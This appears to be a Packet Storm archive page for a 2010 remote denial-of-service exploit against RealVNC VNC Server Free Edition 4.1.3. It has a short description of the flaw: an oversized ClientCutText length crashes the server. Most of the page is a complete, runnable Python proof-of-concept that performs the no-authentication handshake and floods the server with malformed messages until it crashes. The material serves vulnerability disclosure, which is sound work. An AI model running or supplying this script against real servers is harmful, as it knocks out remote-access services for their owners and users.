exploit the possibilities

RealVNC VNC Server Free Edition 4.1.3 Denial Of Service

RealVNC VNC Server Free Edition 4.1.3 Denial Of Service
Posted May 4, 2010
Authored by AutoSec Tools

RealVNC VNC Server Free Edition version 4.1.3 remote denial of service exploit.

tags | exploit, remote, denial of service
MD5 | 3f8b7c6e11ae7a344f49cb7f119cad2b

RealVNC VNC Server Free Edition 4.1.3 Denial Of Service

Change Mirror Download
#==================================================================================================#
# #
# $$$$$$$\ $$\ $$\ $$\ $$$$$$\ #
# $$ __$$\ \__| $$ | $$ | $$ __$$\ #
# $$ | $$ |$$\ $$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$ | $$ / $$ | #
# $$$$$$$\ |$$ |$$ _____|$$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ | $$$$$$$$ | #
# $$ __$$\ $$ |\$$$$$$\ $$ / $$ |$$ | $$ |$$$$$$$$ |$$ | $$ |$$ / $$ |$$ | $$ __$$ | #
# $$ | $$ |$$ | \____$$\ $$ | $$ |$$ | $$ |$$ ____|$$ | $$ |$$ | $$ |$$ | $$ | $$ | #
# $$$$$$$ |$$ |$$$$$$$ |$$$$$$$ |$$ | $$ |\$$$$$$$\ $$ | $$ |\$$$$$$ |$$ | $$ | $$ | #
# \_______/ \__|\_______/ $$ ____/ \__| \__| \_______|\__| \__| \______/ \__| \__| \__| #
# $$ | #
# $$ | Plastics Make It Possible #
# \__| #
# #
#==================================================================================================#
# #
# Vulnerability............Denial-of-Service #
# Software.................RealVNC VNC Server Free Edition 4.1.3 #
# Download.................http://www.realvnc.com/products/free/4.1/download.html #
# Date.....................5/2/10 #
# #
#==================================================================================================#
# #
# Site.....................http://cross-site-scripting.blogspot.com/ #
# Email....................john.leitch5@gmail.com #
# #
#==================================================================================================#
# #
# ##Description## #
# #
# Sending a ClientCutText Message with a length of 0xFFFFFFFF crashes the server with the #
# exception shown below. Note: while the vulnerability is present regardless of authentication, #
# for the sake of simplicity this script only works on servers configured to run with no #
# authentication. #
# #
# winvnc4.exe: The instruction at 0x425BE4 referenced memory at 0xFFFFFF00. The memory could not #
# be written (0x00425BE4 -> FFFFFF00) #
# #
# #
# ##Proof of Concept## #
import sys, struct, socket
host ='localhost'
port = 5900

def crash_vnc_server():
try:
while 1:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(1.0)

print 'Connected'

try:
b = s.recv(8192)
print 'ProtocolVersion Received'

s.send(b)
print 'ProtocolVersion Sent'

b = s.recv(8192)
print 'Security Received'

s.send('\x01')
print 'Security Sent'

# Recv SecurityResult
b = s.recv(8192)
print 'SecurityResult Received'

if (len(b) == 4 and
b[0] == chr(0) and
b[1] == chr(0) and
b[2] == chr(0) and
b[3] == chr(0)):
print 'SecurityResult OK'
else:
print 'SecurityResult Failed.\n\nThe server must be set '\
'to No Authentication for this to work, otherwise '\
'you \'ll need to write the necessary client side '\
'authentication code yourself.'
return

s.send('\x01')
print 'ClientInit Sent'

b = s.recv(8192)
print 'ServerInit Received'

text_len = 0xFFFFFF
text_str = struct.pack('L', text_len) + '\xAA' * text_len

while 1:
s.send('\x06\x00\x00\x00' + text_str)

print 'ClientCutText Sent'

except Exception:
print 'Connection closed'

except Exception:
print 'Couldn\'t connect'

crash_vnc_server()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    4 Files
  • 20
    Apr 20th
    5 Files
  • 21
    Apr 21st
    1 Files
  • 22
    Apr 22nd
    10 Files
  • 23
    Apr 23rd
    22 Files
  • 24
    Apr 24th
    11 Files
  • 25
    Apr 25th
    15 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close